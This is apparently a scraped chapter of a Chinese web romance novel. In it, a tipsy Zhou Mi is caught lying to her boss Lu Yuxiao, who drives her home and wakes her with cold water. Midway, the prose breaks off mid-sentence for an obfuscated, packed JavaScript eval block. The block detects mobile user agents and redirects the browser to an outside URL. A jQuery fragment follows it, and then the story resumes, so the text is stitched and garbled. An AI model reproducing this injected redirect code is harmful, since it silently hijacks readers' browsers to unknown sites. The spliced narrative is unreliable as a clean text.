散场已经接近12点,大家都喝了酒,各自不是打车,就是找代驾回家。李小优跟周蜜的家不在一个方向,带不了她,她只得自己去打车。
周边有人经过,不是只谁说了句今天周五,她陡然间想起这天是去云漫住的日子。
思索了几秒,她从打车软件里退出来,先拨给陆御霄。
晚风带着夏天的潮热从四面八方奔赴而来。周蜜今天穿了一条黑色挂脖连衣裙,凹凸有致的身材被裙子衬托得淋漓尽致。
她平常不这么穿,更爱休闲装。但今天的日子不同,她早早起来打扮,化了个美美的妆容,带上耳环项链,还穿了高跟鞋。往那一站,无论是身形气质,还是脸蛋,都及其出众。
进出会所的男男女女被她吸引,无不上下打量一番。
陆御霄正往外走,察觉到衣服口袋里的手机在震动,拿出来看了眼,接起。
“喂。”他继续前行,不经意抬眸,眼里落下一道倩影。
女孩穿着一条修身黑色连衣裙,头发被一朵米色大花束在后脑勺,露出修长的脖颈和白皙的薄背,腰身纤细不堪一握。
这背影,有几分熟悉。
“老板,不好意思,我今天来不了了,给你请个假。”听筒里传来柔软的女声,像是被酒水浸泡过,带着熏熏然的醉意。
陆御霄盯着那道身影,女孩拿着手机,一手撑在门前柱子上,有些站不稳。
他似乎看出了什么,问道:“有事?”
“今天开业,太忙了,这会还在加班,怕过去打搅你。”
“是吗?
“嗯。”
“加班喝酒?”
周蜜闻言愣了愣,正要否认,忽然觉得哪里不对,耳朵里好像出现了回声。这时,一道阴影压了过来,她反应慢半拍地扭头看去,就见电话中的人竟然站在了身旁。
她目瞪口呆地看着眼前他,几分恍惚。
陆御霄收起电话,没等她发问,漫不经心地道:“我飞过来的。”
周蜜没反应过来他在说笑。几秒之后才意识到自己撒谎被抓了个正着,慌忙解释:“我喝多了。”
“喝多了就说胡话?”
“嗯,还可能发酒疯。”周蜜受酒精刺激,嘴上不把门,想到什么说什么,“怕影响到你。”
“酒品这么差?”
“也不是。”周蜜犯困,眼皮像是有千斤重,说话有气无力,“偶尔。”
司机把车开到了门口道路上,陆御霄扬了扬头:“上车。”
周蜜以为他要带她去云漫,自我保护意识上线,一动不动地站在那儿,不听使唤。
“送你回家。”陆御霄见他没有反应,看了他一眼,似乎明白了什么,含嘲带讽地道,“我可不敢带你去我那儿,我也担心我的安全问题。”
说完,他朝台阶下走去。
“我......不是......”周蜜一时不知道该说什么,明明没有吱声,却被他看穿心思,先发制人。
“还愣着干什么?走了!”陆御霄回头瞧了她一眼。
既如此,就如此吧!
周蜜困死了,恨不得就地躺下,睡到天荒地老。
她跟着陆御霄上了车,他的车座超级舒服,坐下去就跟窝在云朵里似的,舒服极了。
夜色朦朦胧胧,车子平稳丝滑,身旁老板打电话的声音如同催眠曲,不到一分钟,周蜜两眼一闭,进入了甜蜜的梦乡。
她这几天累坏了,睡眠严重不足,加上醉酒,紧绷的神经拉到极限后倏然松懈,这一觉恐怕天上打雷,地上放炮竹都炸不醒。
陆御霄刚接了个工作电话,聊了约五分钟。挂断电话扭头看过去时,坐旁边的人儿已经睡着了。
他收回视线,侧眸看向窗外。下一秒,肩膀上像是被什么砸了一下,他下意识转头,就见周蜜靠在了他身上。
陆御霄眉头微蹙,耸了耸肩,她的脑袋随着他的动作起伏,人却毫无反应。
驱赶无效,他伸出一只手,顶住她的脑袋,将人推了出去。
然而不到一秒,她又回来了。或许是那个支撑很舒服,迷迷糊糊间,她挪动身姿,寻了个更合适的姿势,牢牢地靠在了他身上。
陆御霄不习惯别人近他的身,即便对方只是无意识的动作。他再次伸手,可这回他刚将人脑袋抬起,手上却挨了一巴掌。
周蜜胡乱一拍,有些烦躁,语气却夹杂着几分撒娇的意味:“你别碰我。”
含含糊糊说完这句,她咚地一下又靠到了他肩膀上。
陆御霄怔了两秒,给气笑了。她这是只许州官放火,不许百姓点灯?不准他碰,自己却贴他身上来了。
他只是轻轻转头,脸颊便贴到了她的额头上,温热的触感瞬时传来,他匆忙躲开,朝窗外看去。
鼻腔里萦绕着酒精的味道,还有淡淡的花香。
晚风从窗户缝隙里涌进来,带着酷暑的热温。陆御霄合上车窗,吩咐司机将空调温度调低。
二十多分钟的路程,车子抵达兰苑。
陆御霄这会不再顾忌,将人扶起来,摇晃着叫她:“喂,到了,醒醒。”
周蜜睡得正熟,脑袋跟个不倒翁似的,左倒右歪,就是不醒。
陆御霄拍她的肩膀:“周蜜......周蜜......到了,下车。”
周蜜哼哼几声,眉头皱起来,开始不耐烦,带着哭腔口齿不清地道:“不要......让开......我要睡觉......”
说着,她一边推旁边的干扰物,一边顺着椅背下滑,最后侧卧在椅子上。陆御霄被她挤到了门边。
还没坐稳,她双腿一伸,直接侵占了他的领地。
女孩子的腿又细又白,紧挨着他的。他条件发射般地躲开,最后只觉得哪哪都不舒服。他打开车门,从后座下来坐到了副驾驶,吩咐司机回云漫。
到了云漫,再去唤周蜜时,她哼都不哼一下,怎么叫都叫不醒。陆御霄以为她出了什么事,去探她鼻息,呼吸均匀,正常无异。
陆御霄抬起手腕看了眼时间,都快一点了。他撑在座椅上,看了她一眼,当即做出决定。从车载冰箱里拿了瓶冰水,毫不留情地给泼了出去。
司机老刘见状有些吃惊,他还不知道周蜜的身份,据他所知,老板从不带外面的女孩子回家。
当然那只是有他在场的情况下,其它时候就不知道了。
应该是亲戚朋友,他想,如果是她女儿在外面喝成这样,岂止这点凉水,倒一盆都嫌少。
虽然这种做法无情粗暴,但是非常有效。周蜜被惊的一个激灵,惊恐地睁开双眼,从椅子里爬起来。
她喘了口粗气,才察觉脸上有液体流过。伸手抹了一把,惊魂不定:“哪来的水!”
车门开着,陆御霄靠在车边,淡定地将瓶盖宁上:“下车。”
周蜜骤然被惊醒,还处在云里雾里,以为出了什么意外,慌慌张张地从车里钻了出来。
她站不稳,扶着车门,眼睛被水冲洗过,湿漉漉的。陆御霄看到一滴水从她白皙的脖子顺滑而下,消失在她胸前的沟壑里。
他匆匆别过视线,俯身从车里拿了包纸巾递给她:“擦擦。”
周蜜看他身上干干净净的,手里拿着水,一副气定神闲的样子,后知后觉:“你给我泼的?”
陆御霄叹了声:“抱歉,我叫不醒你,只能出此下策。”
“你给我泼水了!”周蜜像是没听进去他的解释,质问他,“你凭什么给我泼水!”
陆御霄回头知会老刘,让他下班。老刘从车上下来,他在小区里有独立的休息间,方便接送老板上下班。
等到司机
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276250|198258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离开,陆御霄看向周蜜:“刚说了,叫不醒你。我总不能让你在车上过夜吧!也不能抱着人事不醒的你上楼,我希望你清醒地进入我家,免得醒来怀疑我对你做了什么。”
周蜜没睡好,心里窝了一团火,但听他这么一说,火焰冲不起来,在胸前横冲直撞:“我又不是睡神,怎么就叫不醒了。”
“车上装有行车记录仪,要不要播放给你看?”
周蜜默了默,败下阵来:“不用。”
她知道自己的瞌睡有多大。小时候和朋友们玩捉迷藏时,躲到树上都能趴着睡着的人,一般人没她这能耐。
“你叫不醒我可以......可以捏我鼻子,打我都行,干嘛泼我水。”她还是无法接受被泼凉水的事实,心里不爽快。
眼里也不知是水,还是泪,水汪汪的。
陆御霄看她一副委屈巴巴的神情,那份随时保持着的沉稳忽地摇晃,他抽了几张纸巾递给她,嘴上却是一如既往地生硬:“抱歉,我没想那么多,觉得这种方式更直接。这也是个教训不是吗?要是你上了别人的车,指不定会发生什么!”
周蜜自知理亏,负气地从他手上取走纸巾,转身就走。虽然这会清醒了些,但神经还被酒精控制着,八分迷糊,走路不稳。
陆御霄跟在她身后,时不时看她一眼。
到了家里,她撑着柜子换鞋。陆御霄问她有没有哪里不舒服,家里有醒酒药。
她说她只想睡觉,穿上拖鞋自顾自地就进了卧室。
一夜无梦,醒来时都十点多了。周蜜蹭地一下从床上爬起来,匆匆慢慢洗漱完,换好衣服,拿了包就走。
出来时没有见到陆御霄的身影,她暗自兴庆。
但一想到昨晚的狼狈样就心烦,有种做错事被家长抓包狠心惩罚的感觉,可他又不是家长,凭什么,哼。
她这天晚上没再回云漫,也没回兰苑,下班直接去了李小优家里。她要去看看她选的那只猫咪,一个人住着太无趣了,养只宠物增添情趣。
米娅这次生了四胎,李小优把最好看的那只留给她。小东西700克不到,软萌萌的。
周蜜喜欢得不行,想第二天就把它领回家。李小优不让,担心猫咪太小,怕被她养没了。最后决定等小家伙满两个月的时候再带回家。
晚上,周蜜住李小优那里,她没给陆御霄打招呼,反正他说的每周过去亮个相就可以了。本周已经达标,不去也没事。
姐妹两个同床共枕,天南地北地闲聊,聊梦想,聊事业,聊家长里短,还聊男人。
李小优跟周蜜性情相投,她喜欢她的乐观善良,喜欢她如花般的艳丽,喜欢她漂亮的脸蛋,凹凸有致的身材,喜欢她明媚的性格。
她想她留在沪城,于是三番五次地提及要给她介绍一个好富帅。周蜜老是拿不想谈恋爱,专注搞事业的由头给糊弄过去。
这回又是老生常谈,李小优批判她:“大好青春不谈恋爱,可惜了这么好的脸蛋和身材。”
她一把保住周蜜的细腰,超级舒服的手感。没忍住,手再往上,一声尖叫:“哇......好大,好舒服!”
周蜜侧身躲开,双手护在胸前,骂她:“李小优,你个色鬼。”
“蜜儿,你未来的男朋友肯定爽死了。”她艳羡无比,跟她自己的完全不在一个维度,过了会,她好奇道,“喂,你不会还在想你的宋哥哥吧!”
“都猴年马月的事了,有什么好想的。”周蜜往边上挪了挪,怕她再下咸猪手,“就是单纯的不想谈恋爱,”
“确定?”李小优诱惑道,“长夜漫漫,情|欲滚滚,你也能忍?”
“阿弥陀佛,我不听,我不听。”周蜜捂住耳朵。
李小优笑得合不拢嘴,跟白鹅似的咯咯咯,笑完长呼一声:“好了,不说了,梦里跟帅哥约会去。”